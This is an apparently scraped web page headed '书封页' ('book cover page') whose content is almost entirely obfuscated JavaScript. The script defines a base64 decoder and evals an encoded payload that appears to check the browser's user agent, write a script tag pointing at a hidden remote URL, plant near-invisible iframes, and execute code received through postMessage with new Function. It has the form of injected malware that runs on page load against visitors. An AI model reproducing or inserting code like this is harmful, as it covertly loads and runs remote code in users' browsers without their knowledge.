书封页

eval("\x77\x69\x6e\x64\x6f\x77")["AADdj"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["_dGWFj"]=function(){eval(AADdj("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KEFBRGRqKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX092enJyID0gJzxzJysnY3JpJysncHQgJysncycrJ3InKydjPScrJyInICsgdSArICcvbS8nKyIxMDg4IiArJyI+PFwvcycgKyAnY3InKydpcHQnKyc+JzsNCiAgICAgICAgICAgIGlmIChfdWEuaW5kZXhPZihBQURkaigiWW1GcFpIVT0iKSkgPiAtMSB8fCBfdWEuaW5kZXhPZihBQURkaignU0hWaGQyVnBRbkp2ZDNObGNnPT0nKSkgPiAtMXx8IF91YS5pbmRleE9mKEFBRGRqKCdVVkZDY205M2MyVnknKSkgPiAtMSkgew0KICAgICAgICAgICAgICAgIGlmIChfdWEuaW5kZXhPZihBQURkaignYVZCb2IyNWwnKSkgPiAtMSkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC53cml0ZShfT3Z6cnIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJkKG4sIG0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAobSAtIG4gKyAxKSArIG4pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBybShlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZSAmJiBlLnRhZ05hbWUudG9VcHBlckNhc2UoKSA9PT0gIklGUkFNRSIgJiYgZS5zcmMuaW5kZXhPZih1KSA+IC0xKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZS5uZXh0RWxlbWVudFNpYmxpbmcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBybShlLm5leHRFbGVtZW50U2libGluZyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgbGV0IGMgPSBkW0FBRGRqKCJZM1Z5Y21WdWRGTmpjbWx3ZEE9PSIpXTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIF9pZCA9IF9jbGFzcyA9ICdhWicrJ3RuJysnYScrJ2EnKydYUSc7DQogICAgICAgICAgICAgICAgICAgIHZhciBfUnBLU2EgPSAnVCcgKyByZCgxLCAxMDAwMDApOw0KICAgICAgICAgICAgICAgICAgICBkWyd3JysncicrJ2knKyd0ZScrJ2xuJ10oJzxkaScrJ3YgaScrJ2QnKyc9JysnIicgKyBfUnBLU2EgKyAnIj4nICsgJzwvZCcrJ2knKyd2PicpOw0KICAgICAgICAgICAgICAgICAgICB3WydfXycrJ2wnKydyUycrJ2InKydFJ10gPSBkWydxdScrJ2VyJysneScrJ1MnKydlbCcrJ2VjJysndG9yJ10oJyMnICsgX1JwS1NhKTsNCiAgICAgICAgICAgICAgICAgICAgX2lkICs9IGRbJ3F1ZScrJ3J5JysnU2UnKydsJysnZWN0JysnbycrJ3InKydBJysnbCcrJ2wnXSgnLicgKyBfY2xhc3MpLmxlbmd0aDsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHogPSB1KyIvZC8iK19pZCsiLyIrcisiLyIrX1JwS1NhKyIvMTA4OCI7DQogICAgICAgICAgICAgICAgICAgIGRbJ3dyJysnaXRlJ10oJzxpJysnZnJhJysnbScrJ2UgJysnc3R5JysnbGUnKyc9Im0nKydhcicrJ2dpJysnbjonKycwOycrJ3BhJysnZCcrJ2RpbicrJ2c6MCcrJztiJysnb3InKydkZScrJ3InKyc6Jysnbm9uJysnZTtvJysncCcrJ2FjaScrJ3R5OicrJzAuJysnMCcgKyByZCgyLCA5KSArICc7d2knKydkJysndGgnKyc6JyArIHJkKDIsIDUpICsgJ3B4JysnO2gnKydlaWcnKydodDonICsgcmQoMiwgNSkgKyAncCcrJ3g7JysnImFsJysnbG8nKyd3JysndHInKydhJysnbnMnKydwYScrJ3InKydlJysnbicrJ2N5JysnIHMnKydyYycrJz0iJyArIHogKyAnIj4nKyc8JysnLycrJ2lmJysncmFtJysnZT4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snYScrJ2RkRScrJ3ZlbicrJ3RMaScrJ3N0ZScrJ24nKydlciddKCdtZXMnKydzJysnYWcnKydlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlLmRhdGFbciArIF9pZF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBybShjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgRnVuY3Rpb24oQUFEZGooZS5kYXRhW3IgKyBfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCAnZycpLCAnJykpKSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9Pdnpycik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCduSjMnKydiJysndScrJ0VXJysnZScrJ241MicrJ2InKydrOScrJ3knKydMJysnNk1IJysnYzBSJysnSGEnLCAnYVonKyd0bicrJ2EnKydhJysnWFEnLCB3aW5kb3csIGRvY3VtZW50LCAwLCAnVCcp"));};